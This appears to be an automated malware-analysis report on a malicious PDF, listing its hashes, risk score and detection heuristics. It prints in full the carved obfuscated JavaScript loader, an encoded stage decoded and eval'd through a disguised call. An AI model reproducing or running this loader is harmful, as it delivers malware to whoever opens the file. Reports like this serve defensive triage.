Malicious PDF — malware analysis report

Static analysis result for SHA-256 37bcc9b95f85c984…

MALICIOUS

PDF

12.1 KB First seen: 2026-05-09
MD5: 996ded0239f2b8142e0bfcb5dfc49226 SHA-1: 82023ab94565a1b327b68c39192e8c66fffbaca7 SHA-256: 37bcc9b95f85c9846678633d0f1c2ea8e400054713e197536741db75ec926fb5
88 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File

The PDF was flagged by a machine learning classifier with high confidence as malicious. Static analysis revealed embedded JavaScript, which is a common technique for delivering second-stage payloads. The presence of a long encoded blob and a suspicious extracted JavaScript file further supports this assessment.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x33D 11370 bytes
SHA-256: 5c998ebce47d93dca7e42e2de64fcc41e40e166a686470cdae55bf1d92b9763c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
j='vt34t';
z
=
'0a1a2a3a2a4a5a4a6a6a7a8a9a10a11a4a12a13a14a15a16a16a12a13a1a17a3a18a12a13a14a19a1a17a12a13a20a19a3a18a12a13a3a21a15a18a12a13a15a15a19a1a12a13a16a18a17a22a12a13a18a22a14a7a12a13a14a7a15a22a12a13a22a17a18a22a12a13a20a22a14a7a12a13a19a16a5a17a12a13a20a16a14a7a12a13a15a15a22a14a12a13a16a16a23a7a12a13a19a3a14a7a12a13a22a15a15a17a12a13a15a15a20a18a12a13a14a5a24a17a12a13a5a19a3a3a12a13a1a1a5a22a12a13a7a14a1a1a12a13a18a22a14a7a12a13a17a15a15a22a12a13a15a21a18a16a12a13a20a19a22a16a12a13a14a20a1a7a12a13a24a18a15a18a12a13a3a18a14a19a12a13a19a5a20a19a12a13a3a7a3a21a12a13a19a5a18a17a12a13a14a7a19a16a12a13a15a17a20a19a12a13a20a18a14a7a12a13a20a14a15a19a12a13a1a19a22a15a12a13a14a7a19a16a12a13a24a22a20a16a12a13a1a19a22a15a12a13a17a21a15a15a12a13a18a5a18a21a12a13a25a23a1a17a12a13a17a19a22a15a12a13a23a7a15a15a12a13a7a3a22a1a12a13a15a14a5a22a12a13a20a18a1a24a12a13a17a5a22a14a12a13a22a23a17a7a12a13a23a25a22a15a12a13a3a7a18a22a12a13a15a7a1a5a12a13a20a19a5a1a12a13a19a3a3a16a12a13a19a3a14a7a12a13a22a15a24a18a12a13a16a16a23a23a12a13a22a17a14a7a12a13a14a23a18a7a12a13a3a17a18a16a12a13a19a18a1a1a12a13a22a17a24a18a12a13a23a14a14a7a12a13a23a23a22a15a12a13a22a18a14a7a12a13a22a15a14a7a12a13a25a7a17a19a12a13a19a21a19a3a12a13a3a7a17a15a12a13a25a23a19a15a12a13a16a14a14a7a12a13a14a22a24a22a12a13a22a17a20a23a12a13a20a18a15a15a12a13a21a16a22a15a12a13a1a15a3a7a12a13a16a14a14a7a12a13a14a7a22a14a12a13a16a25a1a20a12a13a19a21a22a19a12a13a21a14a3a14a12a13a1a1a1a1a12a13a3a24a1a1a12a13a3a14a1a21a12a13a22a22a22a22a12a13a22a22a22a22a12a13a19a22a19a14a12a13a18a22a16a25a12a13a1a1a16a14a12a13a22a22a22a22a12a13a19a22a22a22a12a13a17a22a14a15a12a13a19a22a5a21a12a13a14a7a19a19a12a13a14a7a3a17a12a13a5a22a19a3a12a13a17a15a14a15a12a13a1a1a22a19a12a13a16a14a3a15a12a13a16a3a16a1a12a13a22a22a22a22a12a13a20a19a16a14a12a13a16a17a20a24a12a13a19a18a16a23a12a13a5a16a1a1a12a13a17a18a14a15a12a13a14a7a22a14a12a13a3a14a3a14a12a13a1a1a16a5a12a13a1a1a1a1a12a13a22a24a3a7a12a13a20a24a3a7a12a13a3a17a14a5a12a13a22a5a22a18a12a13a22a22a22a22a12a13a19a17a14a23a12a13a22a17a24a18a12a13a22a18a17a20a12a13a20a24a24a18a12a13a16a20a16a19a12a13a17a20a20a15a12a13a24a18a18a18a12a13a20a16a22a18a12a13a15a15a20a24a12a13a17a20a15a24a12a13a24a18a18a18a12a13a24a22a22a14a12a13a20a15a24a23a12a13a19a15a24a22a12a13a1a14a16a14a12a13a22a22a22a22a12a13a1a1a22a22a12a13a22a17a19a16a12a13a3a14a14a7a12a13a17a21a15a15a12a13a17a20a19a5a12a13a5a23a18a18a12a13a20a20a22a22a12a13a16a24a20a22a12a13a17a20a20a18a12a13a5a23a18a18a12a13a24a3a22a19a12a13a16a17a16a18a12a13a17a16a16a17a12a13a5a23a18a18a12a13a22a22a22a21a12a13a14a25a19a21a12a13a22a18a17a5a12a13a14a14a15a22a12a13a5a23a18a18a12a13a18a5a22a18a12a13a16a25a19a5a12a13a16a25a22a22a12a13a19a15a22a22a12a13a16a25a19a20a12a13a1a1a22a22a12a13a5a18a19a16a12a13a17a22a14a19a12a13a5a16a20a19a12a13a22a22a16a25a12a13a1a1a19a15a12a13a22a18a19a16a12a13a22a22a16a25a12a13a3a7a14a15a12a13a19a15a22a17a12a13a19a16a1a1a12a13a14a15a22a18a12a13a22a17a17a15a12a13a22a24a3a7a12a13a5a15a3a7a12a13a14a22a18a20a12a13a22a22a15a1a12a13a1a25a20a19a12a13a14a22a18a20a12a13a22a22a15a1a12a13a17a18a20a19a12a13a22a22a16a25a12a13a1a3a16a25a12a13a19a16a1a1a12a13a3a14a22a14a12a13a1a3a21a17a12a13a1a1a1a1a12a13a18a3a14a3a12a13a3a17a22a3a12a13a1a3a21a14a12a13a22a3a14a25a12a13a16a1a14a21a12a13a7a23a22a5a12a13a17a25a15a15a12a13a19a7a14a25a12a13a17a16a5a7a12a13a20a21a18a16a12a13a5a25a15a16a12a13a20a22a24a1a12a13a20a18a16a14a12a13a20a22a20a18a12a13a24a1a15a25a12a13a16a1a24a1a12a13a16a25a16a14a12a13a20a22a16a1a12a13a16a20a16a16a12a13a16a23a16a1a12a13a20a22a16a15a12a13a16a15a24a3a12a13a16a23a16a1a12a13a20a20a24a1a12a13a20a22a24a3a12a13a20a22a16a14a12a13a16a16a15a1a12a13a15a24a15a23a12a13a24a16a15a16a12a13a15a23a16a19a12a13a22a22a15a19a12a13a22a22a22a22a4a26a1a13a27a17a28a0a29a27a30a3a31a32a33a2a33a25a34a35a36a6a37a38a39a0a40a3a2a33a25a41a40a3a27a10a28a39a42a24a43a35a36a6a37a33a25a44a11a33a25a26a45a33a25a11a33a25a41a9a13a7a9a28a33a0a27a10a2a22a34a35a36a46a24a6a26a33a3a28a13a33a27a30a33a25a26a45a30a1a13a27a17a28a0a29a27a30a7a47a2a6a37a32a25a33a30a23a48a10a11a27a3a38a30a49a33a33a25a36a2a6a26a32a25a33a30a32a38a11a22a47a22a17a22a17a22a17a22a17a26a32a25a33a30a25a23a23a33a11a22a47a18a22a22a22a22a22a26a32a25a33a30a50a25a36a40a29a25a23a11a13a27a3a9a17a25a50a3a2a7a8a9a10a6a26a32a25a33a30a9a17a51a40a3a27a11a50a25a36a40a29a25a23a41a40a3a27a10a28a39a42a24a26a32a25a33a30a35a36a11a25a23a23a33a52a2a9a17a51a40a3a27a44a22a47a15a14a6a26a32a25a33a30a36a25a33a9a50a11a13a27a3a9a17a25a50a3a2a53a12a13a21a22a21a22a12a13a21a22a21a22a53a6a26a36a25a33a9a50a11a3a31a32a33a2a36a25a33a9a50a34a35a36a6a26a32a25a33a30a17a29a13a27a28a24a11a2a32a38a52a22a47a18a22a22a22a22a22a6a46a25a23a23a33a26a1a29a33a2a32a25a33a30a17a29a13a27a28a11a22a26a17a29a13a27a28a43a17a29a13a27a28a24a26a17a29a13a27a28a44a44a6a37a23a48a10a54a17a29a13a27a28a55a11a36a25a33a9a50a44a50a25a36a40a29a25a23a26a45a30a32a25a33a30a29a32a3a33a1a40a29a38a11a13a27a3a9a17a25a50a3a2a53a12a13a22a17a22a17a12a13a22a17a22a17a53a6a26a38a39a0a40a3a2a29a32a3a33a1a40a29a38a41a40a3a27a10a28a39a43a18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a=new String("if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@");
b="l";
b2="a"
+b;
try
{
new a[0];
}catch(q){
e=j[
's'
+
'u'+'b'+'str']();
try{
b='e'+"v"+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
try{if(!google.search())throw 1;}catch(q){r=1;}{
s="";
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[
j]];
}
}}

try{if(!google.search())new ewt;}
catch(nergerg){
e(s);
}

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